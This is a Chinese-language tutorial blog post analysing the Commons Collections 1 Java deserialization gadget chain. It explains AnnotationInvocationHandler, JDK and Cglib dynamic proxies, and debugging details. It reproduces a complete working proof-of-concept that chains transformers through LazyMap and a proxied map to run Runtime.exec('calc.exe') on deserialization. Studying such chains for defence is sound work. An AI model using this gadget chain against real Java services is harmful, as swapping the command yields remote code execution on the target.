commoncollections1反序列化调试(分析篇)


0x00 前言

上一篇中了解了cc1链中的一些基础知识,本文记录一下构造payload学习的过程。

这是ysoserial的gadget chain

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

    Requires:
        commons-collections
 */

0x01 分析

上一篇中我们说到需要找到一个类的readobject方法可以调用Map的get方法,进而触发transformer的transform方法,达到命令执行的过程。

ysoserial中找到了sun.reflect.annotation.AnnotationInvocationHandler这个类

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

这个类中var4也就是我们创建的map,this.memberValues.entrySet().iterator()用来迭代map中的元素,但是并没有直接调用map.get,但是invoke方法中,进行了map.get()的调用

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

可以看到在default分支判断中,使用了this.memberValues.get(),这里的this.memberValues也就是我们的map.

那么我们如何劫持AnnotationInvocationHandler#invoke中的get方法呢,这里ysoserail作者用到了jdk动态代理的设计。

0x02 动态代理

那么什么是动态代理呢?

我们打个比方,我们想要卖东西,但是我们工作很忙,不想自己卖东西,于是将需要卖的东西挂到了闲鱼,由闲鱼帮我们进行出售,我们是原始类(卖东西),那么闲鱼就是代理类(卖东西+打广告),如果说卖东西是原始方法,那么打广告就可以理解为代理类独有的特殊方法,也就是说代理类会实现和原始类相同的方法和附加功能。

那么我们回顾一下java中实现动态代理的两种方式:jdk动态代理和Cglib动态代理。

1.jdk动态代理

public class TestJDKProxy {
 public static void main(String[] args) {
 //1 创建原始对象
 UserService userService = new UserServiceImpl();
 //2 JDK创建动态代理
 InvocationHandler handler = new InvocationHandler(){
 @Override
 public Object invoke(Object proxy, Method method,Object[] args) throws Throwable {
    System.out.println("------proxy log --------");
    //原始方法调用
    Object ret = method.invoke(userService, args);
    return ret;
    }
 };
 UserService userServiceProxy = (UserService)Proxy.newProxyInstance(UserServiceImpl.class.getClassLoader(),userService.getClass().getInterfaces(),handler);
 userServiceProxy.login("test", "123456");
 userServiceProxy.register(new User());
 }
}

jdk动态代理实现的方式是代理类和原始类实现相同的接口.

proxy.newProxyInstance方法用来创建动态代理。

第一个参数是classLoader,传入一个任意类的类加载器就可以,这里用的原始类的类加载器。

第二个参数是原始类和代理类实现的接口,也就是Userservice接口,这里使用userService.getClass().getIntrfaces()获取接口类。

第三个参数是handler,也就是在handler中的invoke方法实现附加功能的添加。

那我们来看一下handler的构成

InvocationHandler handler = new InvocationHandler(){
 @Override
 public Object invoke(Object proxy, Method method,Object[] args) throws Throwable {
    System.out.println("------proxy log --------");
    //原始方法调用
    Object ret = method.invoke(userService, args);
    return ret;
    }
 };

需要new一个InvocationHandler类型的,并需要重写invoke方法,Invoke方法中就是附加功能+原始方法调用

在这个例子中,打印日志是附加功能。

method.invoke(userservice,args)是调用原始方法,按照反射来调用原始方法,就比较好理解。

然后将执行结果作为返回值。

2.Cglib动态代理

CGlib创建动态代理的原理:??继承关系创建代理对象,原始类作为?类,代理类作为?类,这样既可以保证2者?法?致,同时在代理类中提供新的实现(额外功能+原始?法)
public class TestCglib {
 public static void main(String[] args) {
 //1 创建原始对象
 UserService userService = new UserService();
 /*
 2 通过cglib?式创建动态代理对象
 
Proxy.newProxyInstance(classloader,interface,invocationhandler)
 Enhancer.setClassLoader()
 Enhancer.setSuperClass()
 Enhancer.setCallback(); ---> MethodInterceptor(cglib)
 Enhancer.create() ---> 代理
 */
 Enhancer enhancer = new Enhancer();
 enhancer.setClassLoader(TestCglib.class.getClassLoader());
 enhancer.setSuperclass(userService.getClass());
 MethodInterceptor interceptor = new MethodInterceptor() {
 //等同于 InvocationHandler --- invoke
 @Override
 public Object intercept(Object o, Method method,
Object[] args, MethodProxy methodProxy) throws Throwable {
 System.out.println("---cglib log----");
 Object ret = method.invoke(userService, args);
 return ret;
 }
 };
 enhancer.setCallback(interceptor);
 UserService userServiceProxy = (UserService)
enhancer.create();
 userServiceProxy.login("suns", "123345");
 userServiceProxy.register(new User());
 }
}

我们看一下cglib实现动态代理的代码,其实和jdk动态代理的实现有异曲同工之妙。

new Enhancer可等同于Proxy.newProxyInstance,设置的3个参数其实也是类似的,只不过这里第三个参数换成了MethodInterceptor等同于InvocationHandler,也是编写附加功能+通过反射调用原始方法来实现。然后后续使用enhancer.create()创建动态代理类,并后续进行调用。

0x03 继续分析

上面我们大概复习了在java中动态代理方法的实现,那么我们可以看到AnnotationInvocationHandler其实就是InvocationHandler的子类,所以他也可以作为handler,那么AnnotationInvocationHandler中的invoke方法就可以在动态代理的时候被调用,那么我们可以理解为

 入口点AnnotationInvocationHandler#readObject->invoke#get(Lazymap.get)->ChainedTransformer#transform->InvokerTransformer#transform(这里有3个InvokerTransformer#transform)达到Runtime.getRuntime().exec("calc.exe")的调用。

大体的构造poc思路是这样的,但是还是有很多细节构造的地方没有分析,这里引用P牛的POC进行细节上的分析

package org.vulhub.Ser; 
import org.apache.commons.collections.Transformer; 
import org.apache.commons.collections.functors.ChainedTransformer; 
import org.apache.commons.collections.functors.ConstantTransformer; 
import org.apache.commons.collections.functors.InvokerTransformer; 
import org.apache.commons.collections.map.LazyMap; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.annotation.Retention; 
import java.lang.reflect.Constructor; 
import java.lang.reflect.InvocationHandler; 
import java.lang.reflect.Proxy; 
import java.util.HashMap; 
import java.util.Map; 
public class CC1 { 
    public static void main(String[] args) throws Exception { 
        Transformer[] transformers = new Transformer[] { 
            new ConstantTransformer(Runtime.class), 
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), 
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), 
            new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), 
        };
        Transformer transformerChain = new ChainedTransformer(transformers); 
        Map innerMap = new HashMap(); 
        Map outerMap = LazyMap.decorate(innerMap, transformerChain); 
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); 
        construct.setAccessible(true); 
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); 
        ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
        ObjectOutputStream oos = new ObjectOutputStream(barr); 
        oos.writeObject(handler); 
        oos.close(); System.out.println(barr); 
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); 
        Object o = (Object)ois.readObject(); 
        } 
    }

P牛构造的poc更容易理解。

细节一:

AnnotationInvocationHandler传入的第一个参数需要是Anonotation类型或子类

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

所以在这里

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); 
        construct.setAccessible(true); 
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
传入的是Retention.class
package java.lang.annotation;

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.ANNOTATION_TYPE})
public @interface Retention {
    RetentionPolicy value();
}

可以通过注解看到是ANNOTATION类型

细节二:

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); 
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹.

细节三:

有时候调试上述POC的时候,会发现弹出了两个计算器,或者没有执行到readObject的时候就弹出了计算器,在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。

细节四:

该poc只能在JDK8u71以前的版本进行触发,那么我们如何在JDK高版本进行触发呢,下一篇文章我们继续分析。

0x04 引用

1.https://wx.zsxq.com/dweb2/index/topic_detail/118811585445582

2.https://www.bilibili.com/video/BV185411477k?p=94